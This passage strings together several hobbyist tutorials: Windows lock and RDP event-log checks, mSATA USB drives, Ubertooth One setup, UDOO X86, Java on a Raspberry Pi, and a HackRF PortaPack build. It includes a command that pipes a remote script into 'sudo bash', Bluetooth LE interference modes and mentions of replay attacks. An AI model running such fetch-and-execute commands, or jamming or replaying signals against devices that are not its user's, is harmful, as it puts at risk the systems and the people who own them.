RDC connection dropped: Event 4779 without a matching 4647 means a Remote Desktop session disconnected rather than the user logging off cleanly. Running Remotely Both Get-WinEvent calls support the -ComputerName parameter. To run against a remote machine, add it to each call: $securityEvents = Get-WinEvent -ComputerName $targetMachine -FilterHashtable @{} $systemEvents = Get-WinEvent -ComputerName $targetMachine -FilterHashtable @{} You’ll need Event Log Reader permissions on the target machine, which standard domain users have by default. If you get access denied, the target might have restricted event log access via GPO. When to Use This A user claims their PC “keeps locking by itself” (show them the actual timeline) Troubleshooting why RDP sessions keep dropping Investigating whether a machine actually went to sleep or the screen just timed out Building an activity audit for a shared workstation #### Turn Old mSATA SSDs To Fast USB Stick Drives Looking down the barrel of the mSATA drive Table of Contents Toggle mSATA USB SticksUnbeatable PerformanceExhibit A – USB 3.0 SSD mSATA “Flash” DriveEquipment used:Build with pictures:Exhibit B – Enclosed USB 3.0 SSD mSATA “Flash” DriveHow To GetVerifying PerformanceUSB Booting with Raspberry Pi 4 (Optional)Conclusion mSATA USB Sticks Since the M.2 NVME form factor has won the high performance solid state drive war many of you may be stuck with older micro SATA (mSATA) drives.  These still have a very awesome use that will only cost you a few bucks to take advantage of.  A blistering USB flash drive can be created out of them instead of throwing them away! Unbeatable Performance These are full blown SSDs and their performance blows a regular USB flash drive out of the water.  They support the trim command and show up as “fixed disks” instead or removable storage.  This means they support premium features such as very large and fast caches built into the drive that normal removable drives don’t have (that type of cache is expensive!).  This allows you to do all sorts of awesome things on them.  Some examples:  Windows to Go, Fast Portable Linux, Virtual Machine storage, etc.  You can also just use it as a really fast drive to transfer files back and forth with your friends while looking like a total techie badass. Exhibit A – USB 3.0 SSD mSATA “Flash” Drive Equipment used: mSATA to USB 3.0 Adapter* Any mSATA SSD (Transcend 128GB mSATA III SSD* used in this build) Transcend mSATA Solid State Drive* Build with pictures: Back of the drive Looking down the barrel of the mSATA drive — here you can see the blue of the USB 3.0 connector View of the top of the drive Exhibit B – Enclosed USB 3.0 SSD mSATA “Flash” Drive If you want more protection for your drive or want a more finished look to it you can use a enclosure.  These are only slightly more but will add little bit of bulk.  In exchange you get a much more finished look and far better protection: VL716 mSATA Enclosure The VL716 mSATA enclosure lets you connect micro SATA drives to the Pi. These drives are an older type of SSD (usually seen in laptops) predating the M.2 slot but are still widely available and perform extremely well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* How To Get These are widely available for dirt cheap on eBay if you use the right search terms like this. You can get really big sizes for far cheaper than you could buy in any other type of SSD because these are largely obsolete. They’re no longer used in newer PCs which makes them perfect for this use! Verifying Performance Once you have built your drive run my Raspberry Pi Storage Benchmark and compare your drive with other similar drives in the mSATA section to make sure you are getting the correct performance. They can be extremely fast! To run the benchmark type: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash It will run a few short tests and display your common speeds for tests like DD write speed, hdparm, fio, iozone and a few others and display a cumulative score. You can verify everything looks to be in order and up to speed and compare this score with other results at Pi Benchmarks USB Booting with Raspberry Pi 4 (Optional) These are a great compact option for a fast operating system drive for the Raspberry Pi 4. If you’re looking for a guide on how to do this check out my Raspberry Pi 4 USB Mass Storage Device Boot Guide. Conclusion Despite mSATA falling out of favor these drives still far outperform any USB flash drive you will come across.  They absolutely destroy my SanDisk Extreme USB 3.0 Solid State “Stick-Like” drive*.  The advantages of these drives being classified as “fixed disks” enable many performance enhancements that are not applied to traditional “removable storage”.  These include write-caching, trim, dedicated memory buffers, and many more!  Build your own supercharged portable SSD today with yesterdays technology! Check out my 2020 roundup of the fastest storage devices on the planet here to learn more about potential storage and drive options! #### Ubertooth One Kali Linux Latest Tools / Firmware Setup Guide The world is full of devices communicating with Bluetooth even if (or maybe especially if) you don’t realize it. Most “smart” devices are advertising some Bluetooth services (some of them even publicly writable without a password!). Even my treadmill is advertising writeable Bluetooth endpoints! The Ubertooth One is a bluetooth and bluetooth low-energy (BTLE) capture device intended for developers and security researchers/auditors. It has an external antenna and is able to communicate at much further distances than most BTLE devices by both transmitting more powerfully and having a more sensitive antenna to listen to the response. To find out what is nearby and happening over the air this is the device you want to have. In this guide I’ll show you how to get the latest Ubertooth tools on Kali Linux as well as update the firmware for the Ubertooth device and actually use the device! Note that Kali is not required as I also ran these same instructions using Ubuntu 22.04 and did nothing differently. If it’s an apt-based distribution you should be fine. Table of Contents Toggle Hardware UsedUpdating Ubertooth ToolsUpdate Ubertooth FirmwareTesting using ubertooth-spescan-uiUpdating KismetCLI Toolsubertooth-utilubertooth-scanubertooth-btleConclusionOther Resources Hardware Used Great Scott Gadgets Ubertooth One Bluetooth Adapter / Capture Device The Ubertooth One is a bluetooth and bluetooth low-energy (BTLE) capture device intended for developers and security researchers/auditors. It has an external antenna and is able to communicate at much further distances than most BTLE devices by both transmitting more powerfully and having a more sensitive antenna to listen to the response. Has additional features/capabilities (upgradeable through firmware) that a normal Bluetooth adapter cannot do. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Ubertooth One Aluminum Enclosure & EMI Shield, Black The Nooelec Ubertooth One enclosure gives a sturdy aluminum shield but more importantly an EMI shield to reduce interference. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Updating Ubertooth Tools Kali Linux comes with a set of tools for Ubertooth but even the ones in the repository are outdated. The latest release at time of writing is 2020-12-R1. We can build the latest tools ourselves and this is the recommended way to keep the firmware version matched up with the tools version you have installed (the official recommendation from the developers). Let’s start by installing some prerequisites: sudo apt update && sudo apt install cmake libusb-1.0-0-dev git make gcc g++ libbluetooth-dev wget build-essential pkg-config python3-numpy python3-qtpy python3-distutils python3-setuptools wireshark wireshark-dev libwireshark-dev python3-protobuf python3-requests python3-numpy python3-serial python3-usb python3-dev python3-websockets librtlsdr0 libsqlite3-dev libprotobuf-dev libprotobuf-c-dev protobuf-compiler protobuf-c-compiler libsensors4-dev libwebsockets-dev libnl-3-dev libnl-genl-3-dev -y Add root and your user account to the plugdev group (if not logged in as a root): sudo adduser root plugdev sudo adduser $LOGNAME plugdev Before building the utilities we need to install the libbtbb packet capture library: wget https://github.com/greatscottgadgets/libbtbb/archive/2020-12-R1.tar.gz -O libbtbb-2020-12-R1.tar.gz tar -xf libbtbb-2020-12-R1.tar.gz cd libbtbb-2020-12-R1 mkdir build cd build cmake .. make sudo make install sudo ldconfig cd ../.. To download and install the Ubertooth tools: wget https://github.com/greatscottgadgets/ubertooth/releases/download/2020-12-R1/ubertooth-2020-12-R1.tar.xz tar -xf ubertooth-2020-12-R1.tar.xz cd ubertooth-2020-12-R1/host mkdir build cd build cmake .. make sudo make install sudo ldconfig cd ../../.. To update the Wireshark plugins: cd libbtbb-2020-12-R1/wireshark/plugins/btbredr mkdir build cd build cmake -DCMAKE_INSTALL_LIBDIR=/usr/lib/x86_64-linux-gnu/wireshark/libwireshark3/plugins .. make sudo make install cd ../../../../.. cd libbtbb-2020-12-R1/wireshark/plugins/btbb mkdir build cd build cmake -DCMAKE_INSTALL_LIBDIR=/usr/lib/x86_64-linux-gnu/wireshark/libwireshark3/plugins .. make sudo make install cd ../../../../.. That’s it for the tools and plugins. Let’s move on to the firmware! Update Ubertooth Firmware You’ll definitely want to update your Ubertooth’s firmware. My Ubertooth came with firmware from 2015 (in 2021!). It’s also highly recommended that the version of firmware on your Ubertooth matches the version of the tools you are using. To update the Ubertooth’s onboard firmware: cd ubertooth-2020-12-R1/ubertooth-one-firmware-bin sudo ubertooth-dfu -d bluetooth_rxtx.dfu -r cd ../.. When I ran this the first time I initially got an error like this: ┌──(root@IntelNUC)-[~/ubertooth-2020-12-R1/ubertooth-one-firmware-bin] └─# ubertooth-dfu -d bluetooth_rxtx.dfu -r libUSB Error: Input/Output Error: (-1) Switching to DFU mode… Checking firmware signature …………………………………. …………………………………. …………………………………. …….. Detached Despite this error my update was successful. You can verify this by checking your firmware version like this: ubertooth-util -v Firmware version: 2020-12-R1 (API:1.07) Testing using ubertooth-spescan-ui At this point we can run some tests and talk to the Ubertooth and make sure everything is working. Let’s pull up a visual representation of the spectrum to make sure our adapter is detecting Bluetooth activity: ubertooth-specan-ui It should load a new window that looks like this: Ubertooth Spectrum Analyzer If everything is going well you should see a ton of activity like the above screenshot! Don’t worry too much about the specifics yet if that seems overwhelming. We just want to make sure you are seeing activity and that there’s not zero activity (indicating something isn’t working correctly). Updating Kismet Kismet has some pretty awesome tie ins with the Ubertooth and is definitely worth getting up to date. Here is a basic capture using the Ubertooth as a data source (Ubertooth placed in a window on an Intel NUC): Kismet Ubertooth One BTLE Capture After about 30 minutes of capture the Ubertooth had seen over 234 devices! That’s unbelievable and was actually more than I was expecting to find despite undertaking this project with the suspicion that there were a lot of them out there. I’ll definitely have more to say about all of this in future articles. The last I_TL BTLE device is actually my treadmill! The easiest way to update your Kismet is to build from source just like we did all of the Ubertooth tools and Wireshark plugins. This one will take a lot longer to compile than the other ones we have done previously since Kismet is a very large and complex application. Let’s do it: git clone --recursive https://github.com/kismetwireless/kismet.git --depth=1 cd kismet ./configure make -j$(nproc) sudo make install sudo ldconfig sudo adduser $LOGNAME kismet sudo adduser root kismet sudo make plugins-install That’s it. Now run Kismet and point your web browser to http://127.0.0.1:2501. If this is your first time running Kismet here is a quick command to get the default Kismet generated login/password: cat ~/.kismet/kismet_httpd.conf This should reveal the login credentials to get into Kismet. If you click the gear in the top left select “Data Sources” and you should see the Ubertooth and your other devices such as your WiFi card in there. When you click a data source you should be able to enable it and it will start populating what Bluetooth activity is happening near you! You may find references to an Ubertooth Kismet plugin but it is no longer used. The newer versions of Kismet support BTLE capture natively and the plugin no longer builds so don’t waste any time on it! CLI Tools ubertooth-util This is the main utility to control the Ubertooth: ubertooth-util - command line utility for Ubertooth Zero and Ubertooth One Common options: -v get firmware revision number -V get compile info -I identify ubertooth device by flashing all LEDs -d[0-1] get/set all LEDs -l[0-1] get/set USR LED -S stop current operation -r full reset -U<0-7> set ubertooth device to use -N print total number of Uberteeth and exit Radio options: -a[0-7] get/set power amplifier level -c[2400-2483] get/set channel in MHz -C[0-78] get/set channel -q[1-225 (RSSI threshold)] start LED spectrum analyzer -t intitiate continuous transmit test -z set squelch level Range test: -e start repeater mode -m display range test result -n initiate range test Miscellaneous: -f activate flash programming (DFU) mode -i activate In-System Programming (ISP) mode -b get hardware board id number -p get microcontroller Part ID -s get microcontroller serial number -x xmas lights The most useful options are the -r option (reset the Ubertooth) but there are several other aspects of the Ubertooth’s behavior you may find useful in here! ubertooth-scan The ubertooth-scan utility scans for traditional Bluetooth devices. You can pair it with a normal Bluetooth adapter as well to do an advanced scan to find hidden devices as well: ubertooth-scan - active(Bluez) device scan and inquiry supported by Ubertooth This tool uses a normal Bluetooth dongle to perform Inquiry Scans and Extended Inquiry scans of Bluetooth devices. It uses Ubertooth to discover undiscoverable devices and can use BlueZ to scan for discoverable devices. Usage: ubertooth-scan Use Ubertooth to discover devices and perform Inquiry Scan. ubertooth-scan -s -x Use BlueZ and Ubertooth to discover devices and perform Inquiry Scan and Extended Inquiry Scan. Options: -s hci Scan - use BlueZ to scan for discoverable devices -x eXtended scan - retrieve additional information about target devices -t scan Time (seconds) - length of time to sniff packets. [Default: 20s] -e max_ac_errors (default: 2, range: 0-4) -b Bluetooth device (hci0) -U<0-7> set Ubertooth device to use The ‘ubertooth-scan -s -x’ combo is fantastic as it performs an extended inquiry scan to discover services on the Bluetooth device. This helps us figure out what they are and what capabilities they have. ubertooth-btle This is the main “fun” utility for BTLE devices. It has 3 different modes (follow -f, promiscuous -p, and no follow -n). Follow mode means it will try to attempt to keep up with Bluetooth connections and capture data packets. Here’s the full overview: ubertooth-btle - passive Bluetooth Low Energy monitoring Usage: -h this help Major modes: -f follow connections -n don't follow, only print advertisements -p promiscuous: sniff active connections -a[address] get/set access address (example: -a8e89bed6) -s<address> faux slave mode, using MAC addr (example: -s22:44:66:88:aa:cc) -t<address> set connection following target (example: -t22:44:66:88:aa:cc/48) -tnone unset connection following target Interference (use with -f or -p): -i interfere with one connection and return to idle -I interfere continuously Data source: -U<0-7> set ubertooth device to use Misc: -r<filename> capture packets to PCAPNG file -q<filename> capture packets to PCAP file (DLT_BLUETOOTH_LE_LL_WITH_PHDR) -c<filename> capture packets to PCAP file (DLT_PPI + DLT_BLUETOOTH_LE_LL) -A<index> advertising channel index (default 37) -v[01] verify CRC mode, get status or enable/disable -x<n> allow n access address offenses (default 32) The interference mode help create the conditions necessary for data capture! Conclusion I wanted to write this because all the above information involved going to about 20 different web sites to piece together. I really would have liked to just set it all up at once like this so I figured I’d share it as well as record it for myself in the future as well! The Ubertooth device is definitely delivering at helping me figure out what is going on over the airwaves in my own home. With hundreds of different devices sharing the airspace detectable in my home I now can investigate which ones are actually mine and secure them. Some of the devices like my treadmill have publicly writeable configuration attributes as an example. The Ubertooth lets you hunt these down and figure out what they’re doing and if anyone might be able to exploit them! Wireless traffic of all kinds continues to get harder to detect as technology improves and time goes on. The scary part is if nefarious actors are utilizing these highly stealthy networks. Instances of IoT hacking continue to rise as these devices become more ubiquitous. This tool will help you investigate them and take control of your network airspace! Other Resources For the HackRF (also by Great Scott Gadgets) check out my Linux HackRF Guide or if you want to see it in action there is also my Use HackRF SDR to Lock / Unlock Car guide on replay attacks using the HackRF You can also upgrade a HackRF to be completely portable: Upgrading HackRF One to PortaPack H2 My guide on how to build a Pwnagotchi to audit WiFi networks near you is also worth checking out! #### UDOO X86 Microboard Breakdown The UDOO X86* is a single board computer that runs an Intel 64-bit chipset.  It also has a separate chipset with a full implementation of Arduino.  It runs Windows 10 and any flavor of Linux.  The board is touted as as the “new PC that can run everything.”  That is quite a bold claim!   In the 2017 hacker SBC survey the UDOO X86 came in as the #2 choice microboard for SBC hackers beating even the Raspberry Pi Zero W*.  What?!  The only board that beat it was the Raspberry Pi 3 at #1.   So what on earth is so exciting about this board other than it has a Intel x86/64/Arduino chipset?  To name a few things that compare differently with existing microboards: It runs Windows 10 and any 64-bit Linux operating systemUSB 3.0, up to 8GB of RAM, eMMC/M.2 SSD/MicroSD/SATA, Intel HD graphicsGigabit ethernetSeparate non-shared data buses (big bottleneck with Raspberry Pis)Insane expandability Table of Contents Toggle UDOO X86 Hardware CapabilitiesSizing Up the UDOO X86 BoardUDOO X86 vs. Raspberry PiPros:Cons:UDOO X86 – Final Conclusion UDOO X86 Hardware Capabilities Front of the board Back of the board Reverse side of board The UDOO X86 is quite a formidable board.  Not only is it a quad core 64 bit Intel processor, but it is also an Arduino!  That’s right, it has an Arduino chip on board alongside everything else.  Let’s look at a full spec breakdown to help compare and contrast this board with many of the existing microboards on the market: ProcessorIntel® Braswell 64 bit 14 nm:Quad Core up to 2.56GHzCores4MemoryDDR3L soldered-down memoryup to 8GB RAM dual channelGraphicsIntel HD Graphics Gen 8 LP700 MHz16 execution unitsVideo Interfaces1x HDMI2x miniDP++ connectorsMass StorageeMMC disk up to 32 GB soldered on boardStandard SATA connectorM.2 Key B SSD slotMicro SD card slotNetworkingGigabit Ethernet connectorM.2 Key E slot for optional Wireless modulesUSB3 x USB 3.0 type-A socketsMultimediaHW Video decode: H.265/HEVC,H264, MPEG2, MVC, VC-1, WMV9, JPEG, VP8;HW Video encode: H.264, MVC, JPEGAudioMicrophone + Headphone combo connectorSpeaker internal headerS/PDIF outputSerial Ports2x UART portsOther InterfacesIR interfaceLPC – 2 x I2C – GPIOs – Touch ScreenManagement signals on expansion connectorRTC Battery + Connector IncludedDigital I/O PinsUp to 20 extended GPIOs, multiplexed with other interfacesOperating SystemWindows 10, 8.1, 7Any Linux Distribution for X86 64bit platformAndroid X86Dimensions120mm x85mm (4.72″ x 3.35″) Sizing Up the UDOO X86 Board Udoo X86 Box Size comparison of Udoo X86 to Raspberry Pi and other boards Here is a size comparison of the UDOO X86 vs. a Raspberry Pi 3/Zero W as well as a Teensy board.  As you can see the UDOO X86 is quite a bit larger than the Raspberry Pi 3.  You can stack two Raspberry Pi 3s vertically side by side and it is about the size of the UDOO X86 board.  See below picture: Udoo X86 with a Raspberry Pi 3 stacked on top of it for size comparison We can conclude from this comparison that the larger size of the UDOO X86 is going to be problematic for some projects and a non-consideration for others.  Since the Raspberry Pi is the size of a credit card, having a microboard the size of 2 credit cards is still quite small but for projects that are very small it’s going to be too much. UDOO X86 vs. Raspberry Pi Clearly the UDOO X86 is massively expandable and far more powerful compared to the Raspberry Pi.  However, that does not automatically make it a better choice for a project.  Let’s compare and contrast some general pros and cons of the board. Pros: Operating Systems – Runs all versions of Windows and all flavors of Linux — not limited to ARM capable operating systems like most other microboardsSoftware – Since the UDOO X86 is not ARM based it will run any software that is out thereProcessing Power/Memory – Way more RAM and CPU power even if you buy the cheapest modelPorts – USB 3.0, Gigabit ethernet, true SATA 3.0, M.2 SSD connections, MicroSD, soldered in 32GB eMMC driveChipset & Bus Speeds – Has Intel chipset with ports and separate data buses for everything (HUGE advantage over Raspberry Pi family which shares a single bus for USB/Ethernet/most components)Arduino – Built in Arduino chipset and relevant connections making it an excellent tinker board Cons: Price – WAY more expensive than a Raspberry Pi — I bought the 4GB model with the built in 32GB eMMC storage and I could have bought 5 Raspberry Pi 3s for the same price!  Even the cheapest model with no built in storage is several times the price of a Raspberry Pi.  The UDOO X86 simply cannot compete on price with the components and power it has.Size – It is literally the size of 2 Raspberry Pi 3’s stacked side by side.  This is a potential dealbreaker for certain projects that may require a smaller form factor.Power – Requires more power and in contrast with most boards not powered by microUSB (it is instead powered by a barrel pin connector although there are other options to power the board)WiFi and Bluetooth – The UDOO X86 does NOT come with free built in WiFi/Bluetooth and is an add-on that costs extra from the UDOO ordering site.  This is especially relevant for some projects (especially cost based ones) since the Raspberry Pi 3 and Pi Zero W both come with built in WiFi/Bluetooth for free and won’t benefit from the Gigabit ethernet controller. UDOO X86 – Final Conclusion The UDOO X86 is a fantastic board.  The major question for most readers though will be is it better than the Raspberry Pi?  The answer to that question is that it highly depends on what you are doing. You can order a UDOO X86 here: Udoo Shop – x86 I got my power adapter separately on Amazon here: AC Power Supply Adapter DC 12 Volt 3 Amp* I am going to write an entire article on which projects will make more sense to build with an UDOO X86 and which projects would be better suited with a Raspberry Pi.  Stay tuned! #### Upgrade Java Past apt’s OpenJDK on Raspberry Pi OS OpenJDK 16 on Raspberry Pi OS The OpenJDK 11 version that comes in Raspberry Pi OS’s apt repositories is ancient. It’s so old that recently people using my Minecraft Java Server for Raspberry Pi script have started getting a warning that Minecraft 1.17 will *not* support anything below OpenJDK 16. In this article I’m going to share a sneaky trick to update your Java to a newer version than is available in apt using snapd. Let’s begin! Table of Contents Toggle Hardware InvolvedOverviewOpenJDK Update InstructionsBonus TipOther Resources Hardware Involved Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Overview Raspberry Pi OS’s repositories have got quite dated for Java. This is happening for other applications as well because we are waiting for the Raspberry Pi OS team to jump to the next version of Debian (the underlying OS that Raspberry Pi OS is built on) which will bring a lot of these offerings more up to date. To get around this we’re going to use the “snapd” utility to install a much newer version of OpenJDK. We will then use update-alternatives to point our /usr/bin/java to our new JDK installation. A reboot is required after installing snapd for the first time and it takes a lot longer to install via snap than it would via apt but since the packages are not available this is a great workaround! OpenJDK Update Instructions First let’s install snapd and get our reboot out of the way: sudo apt updatesudo apt install snapd -ysudo reboot Once your system comes back online let’s install snap core and OpenJDK: sudo snap install coresudo snap install openjdk These steps can take a little while. It’s not unusual to have to wait 5-10 minutes for each step. Now at this point our new OpenJDK installation is installed and we just need to tell our system to use that for Java using update-alternatives: sudo update-alternatives --install /usr/bin/java java /snap/openjdk/current/jdk/bin/java 1sudo update-alternatives --set java /snap/openjdk/current/jdk/bin/java And that’s it! Go ahead and verify you are using the new Java version like this: pi@pi:~ $ java -versionopenjdk version "16.0.1" 2021-04-20OpenJDK Runtime Environment (build 16.0.1+9-snap)OpenJDK Server VM (build 16.0.1+9-snap, mixed mode) Bonus Tip If you need an even newer version of Java than you are getting from the default snap there are some flags to install even newer ones. There are 3 additional release channels. These are in ascending order so the further down the list you go the newer version of OpenJDK it will retrieve: sudo snap install openjdk --candidate sudo snap install openjdk --beta sudo snap install openjdk --edge You may have to slightly modify the update-alternatives commands when using one of these alternative builds. We used /snap/openjdk/current/ in our update-alternatives commands. Check if a different folder like “edge” is being used (just ls /snap/openjdk and see what’s in there)! Other Resources If you’re trying to set up SSD / USB storage booting check out my Raspberry Pi USB booting setup guide To find out where to get the 64 bit version of Raspberry Pi OS view Where to get the 64 bit Raspberry Pi OS image For benchmarks and recommendations on the fastest storage drives/adapters for the Raspberry Pi check out my 2021 Storage Roundup If you’re having firmware issues and need to update/restore your firmware: Raspberry Pi firmware guide here For my new overclocking and SSD setup guide for the Pi 400 check out my Pi 400 Overclocking and SSD setup guide #### Upgrading HackRF One to PortaPack H2 PortaPack H2 Capture I just received a very exciting upgrade for my HackRF One. It is called the PortaPack H2. It essentially gives your HackRF a rechargeable battery, a display and many new capabilities that are a part of the Havoc firmware. This setup will basically take my HackRF’s capabilities completely mobile opening it up to places and locations to explore that aren’t easy/possible without a setup like this. Today I wanted to build the new PortaPack H2 and show all the steps I took. Let’s begin! Table of Contents Toggle Hardware UsedUpgrade KitOpening HackRF OneAdding New ComponentsFlashing Havoc FirmwarePreparing SD CardScreen Troubleshooting NoteConclusionOther Resources Hardware Used HackRF One Software Defined Radio (SDR)* PortaPack H2 Upgrade Kit* Upgrade Kit The upgrade kit came with the following: PortaPack H2 Upgrade Kit Contents And here is the back of the board: PortaPack H2 – Back of Board Well that looks relatively straight forward to put together. Now we just need to open the HackRF One. Opening HackRF One To do this you will actually remove the gold rings around the ANTENNA, CLKIN and CLKOUT ports. You can screw these off with just your fingers. This should leave you with a nice pile of nuts and washers like this: HackRF – Disassembled Nuts/Washers Now we can open the case using a simple pry tool. Something like a plastic pick works great: Opening HackRF with plastic pick Now wedge the pick in and move toward each corner and they should pop and release: HackRF Opened Bingo! You can now lift the board out of the HackRF One’s shell (it’s not screwed in). The black connectors on the board are where the pins from the PortaPack H2 will plug into. Adding New Components Now that we’ve got to the loose HackRF board you can literally see how to assemble this kit. The pins from the PortaPack board are going to plug right into the HackRF. You need to be careful when lining up the pins. It’s easy to end up one row too far over and have a whole row of pins not actually plugged into a socket. Once you’ve got them lined up you can gently press the boards together. Don’t push too far on one side without the other sides going in or things can get awkward. It’s best to push them in a little bit at a time and then go push on the opposite end of the board to make sure the 3 sections of pins plugging into the board go in relatively evenly. Here is the result: Combining the Boards Finally I tucked the battery between the boards like this: PortaPack H2 Battery Installed The boards seem to easily hold the battery in place. Now add the knob and buttons to the board. We have now completed the physical build! Flashing Havoc Firmware Go to the official GitHub releases page for the Havoc firmware here. Grab the latest available release (2.4.0 at time of writing). There are two files (FIRMWARE_mayhem_nightly_n_XXXXXX and COPY_TO_SDCARD_hackrf_mayhem_nightly_n_XXXXXX.zip). Get both files although for this step we will be using the firmware file. Unzip the archive. The next step will depend on your platform. There are scripts in there to help on platforms other than Linux. Since you are of course using Linux we will proceed with that assumption (but if you aren’t check the GitHub page which will have the documentation for your platform). You should already have the HackRF utilities installed on your computer. We are going to use the hackrf_spiflash utility to upload the Havoc firmware to the device like this: hackrf_spiflash -w firmware_hackrf.bin A successful flash would look like this: james@james-TRX40-AORUS-MASTER:~/Downloads/FIRMWARE_mayhem_nightly_n_260424/firmware$ sudo hackrf_spiflash -w firmware_hackrf.binFile size 1048576 bytes.Checking target device compatibilityErasing SPI flash.Writing 1048576 bytes at 0x000000. Preparing SD Card The PortaPack H2 has enhanced features that can be enabled with the use of a SD card including a world map. First insert a micro SD card into your computer and format it to be blank with the format of FAT32. Now extract the file we got in the previous section COPY_TO_SDCARD_hackrf_mayhem_nightly_n_XXXXXX.zip You are going to copy the contents of this archive directly into the root of the SD card. Once it is complete you can insert the SD card into the device. Screen Troubleshooting Note When I first got everything set up I had no display. It’s because you need to change the display driver your device is using. This is very easy. The way you change it is by holding down one of the buttons (from the 5 button set) and power on the device. This may take up to 10 seconds to take effect. For my display I had to hold the left button down and then power on the device. This immediately powered on my display. If you aren’t getting any display this is almost certainly why and it’s not very likely your display is bad/damaged. Conclusion The upgrade is complete! Here is a look: Upgrade Complete – PortaPack H2 Here you can see the main menus. It’s very simple to navigate. You can easily do replay attacks from the menu here, perform captures, transmit signals and much more. Here’s an active capture going: PortaPack H2 Capture It is very cool to see the handheld waterfall. I do need some better handheld antennas so I’ll definitely be getting some of those and covering them here on the site. I also have a metal body kit on the way (you can see it in the AliExpress link) but that will take a few weeks to get here. Definitely stay tuned for more coverage of the PortaPack H2 features as I have just completed the build and will be diving into those in the near future! Other Resources My prerequisite guide HackRF Software Defined Radio Guide for Linux To see using the HackRF for locking/unlocking a vehicle check out my Use HackRF SDR to Lock / Unlock Car article #### UPS Backup Battery for Raspberry Pi? PiSugar Solderless Setup PiSugar 900mAh – Top with LED Battery Indicator I’ve had the original 900 mAh PiSugar UPS backup battery for the Raspberry Pi Zero for several years now and it’s an absolute game changer. With the wireless capabilities of the Raspberry Pi you have a completely portable and networked computer available that is extremely tiny. It’s much more capable than hooking it up to a power brick and is actually designed for the Raspberry Pi! In this article I’ll cover how to set up a full UPS battery backup with several hours of available power using the the PiSugar as well as the PiSugar 2 and some of the shortcomings in the first version the 2nd revision fixes. Let’s get started! Table of Contents Toggle Hardware OverviewInstallation / Usage (Pi Zero W/WH)PiSugar 1 Limitations vs PiSugar 2 (Important!)Installation / Usage (Raspberry Pi 3B/3B+/4B)PiSugar2 ConfigurationConclusion Hardware Overview PiSugar 2 Portable 1200mAh The PiSugar 2 Portable is a full UPS system for the Raspberry Pi Zero W/WH. When power is lost the battery takes over seamlessly. A web interface and access to the UPS board is available to read the battery % and other stats from the device. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.fr* PISugar 2 Pro 5000mAh The PiSugar 2 Pro is for the Raspberry Pi 3B/3B+/4B. It has a whopping 5000mAh battery! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.fr*, Amazon.sg* PiSugar 1 900mAh The thinnest version of the PiSugar (900 mAh) for Raspberry Pi Zero W/WH but has several critical limitations (read limitations section). Listings are combined with the 1200 mAh PiSugar 1 battery so be careful and don’t get the 1200 mAh PiSugar 1 since there is already a 1200 mAh PiSugar 2! May be available in some countries the PiSugar 2 isn’t available. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.sg* Installation / Usage (Pi Zero W/WH) The PiSugar powers your Pi through two small pins on the back of the board. This is excellent because it leaves all of your USB ports completely open. This lets you fit the Pi into much tinier places than you would be if you had to attach it to a power brick. Installing the board is as simple as attaching the PiSugar’s control board to the bottom of your Pi with 4 nylon screws. PiSugar* 900mAh – Detached Side View PiSugar 900mAh – Side View Here you can see the Pi on the bottom, the PiSugar control board with the power port as well as the power switch to the left of the power port. One press turns on and two presses turns off. There are four nylon screws attaching the control board to the Pi with 4 nuts securing the end of the screws. Here’s what the other side of the board looks like with the battery detached (Pi is now underneath in this shot): PiSugar 900mAh Detached From Powerful Magnet You can see the large silver rectangle on the PiSugar’s control board. That is a very powerful magnet that strongly holds the battery to the PiSugar. This is useful if you need to slightly adjust the battery as you can “slide” it on the magnet with a little bit of force. You can also detach the battery from the magnet altogether like the picture above and have a small bit of slack to work with if you wanted to place the battery in a different part of a case or enclosure. The magnet is powerful enough that you can use it to attach the Pi to other metal surfaces as well! No soldering is required despite how the wires may look. Everything will come already soldiered together from the factory and is exactly how it came. Once you attach the slim PiSugar board with the 4 screws you’re finished with the build and are now ready to connect the power! The PiSugar has it’s own USB power port and to start charging the battery you will plug your power source into this port. PiSugar 900mAh – Top with LED Battery Indicator The Pi will power on and you will see indicators light up. The PiSugar 900 mAh has 4 LED indicators for 25%, 50%, 75% and 100%. This is a really useful touch as you have a visual indicator at any moment if you are running your Pi off the UPS of how much power is remaining. PiSugar* 900 mAh – Pi Face Up One cool touch of the board is that your green activity light will light up your screw and nut like the picture above. It’s really easy to see your Pi’s activity indicator which can be difficult otherwise when you start attaching cases and accessories. PiSugar 1 Limitations vs PiSugar 2 (Important!) I purchased my original 900 mAh PiSugar before the PiSugar 2 existed. It has several serious limitations you should be aware of that were fixed in the PiSugar 2 devices. The first limitation with the PiSugar 1 is when you connect or disconnect the power cable your Pi reboots. When the power is cut you 